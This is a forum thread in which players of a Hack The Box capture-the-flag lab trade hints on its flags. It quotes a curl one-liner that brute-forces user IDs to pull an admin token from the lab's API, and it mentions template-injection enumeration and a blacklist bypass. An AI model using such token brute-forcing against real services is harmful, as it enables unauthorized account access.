Fortresses_AWS
by - Thursday, January 1, 1970 at 12:00 AM
(September 20, 2022, 08:43 PM)m4rsh3ll Wrote: Is there all web servers down? 503 Service Unavailable


They sometimes do that, wait a moment
Reply
stuck in flag 2 any help ???
Reply
anyone 3lse doing this Fortress?
I need help on 3rd flag!!
Can anyone help .....
Reply
[quote="hacker1111" pid="146001" dateline="1657645911"][code]for i in {950..975}; do echo -n '{"get_token":"True","uuid":'$i',"username":"admin"}' | base64; done | xargs -I{} curl -s -X POST "http://jobs.amzcorp.local/api/v4/tokens/get" --cookie "session=" -d '{"data":"{}"}' --header "Content-Type: application/json"[/code][code]Early Access Flag[/code][/quote]Why do you bruteforce uuid between values 950 and 975? How did you find that you should do this?
Reply
[quote="joker1764" pid="667076" dateline="1665989598"][quote="hacker1111" pid="146001" dateline="1657645911"][code]for i in {950..975}; do echo -n '{"get_token":"True","uuid":'$i',"username":"admin"}' | base64; done | xargs -I{} curl -s -X POST "http://jobs.amzcorp.local/api/v4/tokens/get" --cookie "session=" -d '{"data":"{}"}' --header "Content-Type: application/json"[/code][code]Early Access Flag[/code][/quote]Why do you bruteforce uuid between values 950 and 975? How did you find that you should do this?[/quote]You should create new user then you type that command --> get flag 1echo -n '{"get_token":"True","uuid":"955","username":"admin"} ' | base64 | xargs -I {} curl -s -X POST "http://jobs.amzcorp.local/api/v4/tokens/get" --cookie "session=" -d '{"data":"{}"}' --header "Content-Type: application/json"{ "flag": "***", "token": "***", "username": "admin", "uuid": "955"}
Reply
Hi! I'm new on the community! I'm trying to solve the AWS from HTB. Anyone speak spanish??
Reply
Stuck at flag 5 (relentless). I got the yml template config & access to inventory but I'm kinda stuck there. Any clue?
Reply
(November 22, 2022, 03:26 AM)gusthechickenman Wrote: Stuck at flag 5 (relentless). I got the yml template config & access to inventory but I'm kinda stuck there. Any clue?


For flag 4, any hint on bypass the blacklist? always got 500 response
Reply
Got a list of subclasses through ssti, but if i call any function, it throws 500 error
I can only list function names, any nudge please.
Reply
(November 24, 2022, 03:18 PM)hacker9999 Wrote:
(November 22, 2022, 03:26 AM)gusthechickenman Wrote: Stuck at flag 5 (relentless). I got the yml template config & access to inventory but I'm kinda stuck there. Any clue?


For flag 4, any hint on bypass the blacklist? always got 500 response


Don't dig too deep, the bypass is VeRy simple
Reply


 Users viewing this thread: Fortresses_AWS: No users currently viewing.